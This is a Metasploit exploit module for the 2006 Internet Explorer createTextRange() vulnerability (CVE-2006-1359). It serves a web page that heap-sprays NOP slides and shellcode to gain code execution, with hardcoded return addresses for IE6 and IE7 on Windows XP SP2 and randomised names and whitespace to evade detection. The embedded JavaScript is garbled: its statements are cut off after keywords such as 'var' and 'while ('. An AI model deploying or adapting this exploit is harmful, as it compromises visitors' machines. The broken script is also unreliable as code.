require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer createTextRange() Code Execution',
'Description'=> %q{
This module exploits a code execution vulnerability in Microsoft Internet Explorer.
Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memoryin a way, which, under
certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
to a very remote, non-existent memory location. This module is the result of merging three
different exploit submissions and has only been reliably tested against Windows XP SP2.
This vulnerability was independently discovered by multiple parties. The heap spray method
used by this exploit was pioneered by Skylined.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Faithless <rhyskidd [at] gmail.com>',
'Darkeagle <unl0ck.net>',
'hdm',
'<justfriends4n0w [at] yahoo.com>',
'anonymous',
],
'Version'=> '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-1359'],
['OSVDB', '24050'],
['MSB', 'MS06-013'],
['BID', '17196'],
['US-CERT-VU', '876678'],
['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],
['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],
['URL', 'http://www.shog9.com/crashIE.html'],
],
'Payload'=>
{
'Space'=> 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets'=>
[
[ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ],
[ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ],
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'Mar 19 2006'))
end
def on_request_uri(cli, request)
return if ((p = regenerate_payload(cli)) == nil)
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
nops = Rex::Text.to_unescape(make_nops(4))
xmlns = rand_text_alpha(rand(30)+2)
rnd= rand(3)
var_inputtype= ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image"))
var_inp= "_"+rand_text_alpha(rand(6)+3)
var_tmp= "_"+rand_text_alpha(rand(6)+3)
var_payload= "_"+rand_text_alpha(rand(6)+3)
var_nopslide = "_"+rand_text_alpha(rand(6)+3)
var_slidesize= "_"+rand_text_alpha(rand(6)+3)
var_fillblock= "_"+rand_text_alpha(rand(6)+3)
var_memblock = "_"+rand_text_alpha(rand(6)+3)
var_heap = "_"+rand_text_alpha(rand(6)+3)
var_index= "_"+rand_text_alpha(rand(6)+3)
var_maxIndex = "_"+rand_text_alpha(rand(6)+3)
var_fillHeap = "_"+rand_text_alpha(rand(6)+3)
var_start= "_"+rand_text_alpha(rand(6)+3)
var_timer= "_"+rand_text_alpha(rand(6)+3)
rnd= rand(2)
var_setTimeout = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""
var_setInterval= (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""
content = %Q|<html>
<head>
<script language = "javascript">
var
var
var
while (
var
var
while(
var
var
var
function
if (
} else {
}
}
function
}
</script>
</head>
<body onload="#{var_start}()">
<span id="#{var_timer}"> % </span>
</body>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
end